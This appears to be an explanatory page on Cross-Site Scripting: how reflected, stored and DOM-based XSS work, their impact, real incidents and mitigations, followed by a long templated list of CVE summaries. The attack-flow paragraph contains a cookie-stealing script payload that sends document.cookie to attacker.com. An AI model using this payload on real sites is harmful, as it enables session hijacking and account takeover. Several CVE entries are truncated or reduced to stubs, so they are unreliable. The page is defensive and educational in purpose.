Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (40977)
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
XWiki Platform is a generic wiki platform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user's session cookie and then impersonate that user via POST controller. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user's session cookie and then impersonate that user via POST email_create and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user's session cookie and then impersonate that user via GET configure. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability, which was classified as problematic, has been found in SourceCodester Game Result Matrix System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic was found in SourceCodester Online School Fees System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A clickjacking vulnerability in the HCL BigFix OSD Bare Metal Server version 311.12 or lower allows attacker to use transparent or opaque layers to trick a user into clicking on a button or link on. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Content on the groups page required additional sanitizing to prevent an XSS risk. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross Site Scripting (XSS) vulnerability in Neox Contact Center 2.3.9, via the serach_sms_api_name parameter to the SMA API search. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
When using local accounts for administration, the redirect url parameter was not encoded correctly, allowing for an XSS attack providing admin login. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross site scripting (XSS) vulnerabiliy in dmarcts-report-viewer dashboard versions 1.1 and thru commit 8a1d882b4c481a05e296e9b38a7961e912146a0f, allows unauthenticated attackers to execute arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
There is a storage type cross site scripting (XSS) vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-Site Request Forgery (CSRF) vulnerability in UpdraftPlus.Com, DavidAnderson UpdraftPlus WordPress Backup Plugin <= 1.23.3 versions leads to sitewide Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Sage X3 version 12.14.0.50-0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in DATEV eG Personal-Management System Comfort/Comfort Plus v15.1.0 to v16.1.1 P4 allows attackers to steal targeted users' login data by sending. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting (XSS) vulnerability in GBCOM LAC WEB Control Center version lac-1.3.x, allows attackers to create an arbitrary device. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpjobportal WP Job Portal wp-job-portal allows DOM-Based XSS.0.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Abandoned Cart Lite for WooCommerce and Abandoned Cart Pro for WooCommerce plugins for WordPress are vulnerable to Stored Cross-Site Scripting via multiple parameters in versions up to, and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 27.1%.
User Registration & Login and User Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /admin/search-result.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Broadleaf 5.x and 6.x (including 5.2.25-GA and 6.2.6-GA) was discovered to contain a cross-site scripting (XSS) vulnerability via a customer signup with a crafted email address. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Craft CMS through 4.4.9 is vulnerable to HTML Injection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SUBNET PowerSYSTEM Center versions 2020 U10 and prior contain a cross-site scripting vulnerability that may allow an attacker to inject malicious code into report header graphic files that could. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
PyBB is an open source bulletin board. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability was found in SourceCodester Resort Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Google Map Shortcode WordPress plugin through 3.1.2 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Ultimate Dashboard WordPress plugin before 3.7.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The AI ChatBot WordPress plugin before 4.5.6 does not sanitise and escape numerous of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Social Share, Social Login and Social Comments WordPress plugin before 7.13.52 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 40977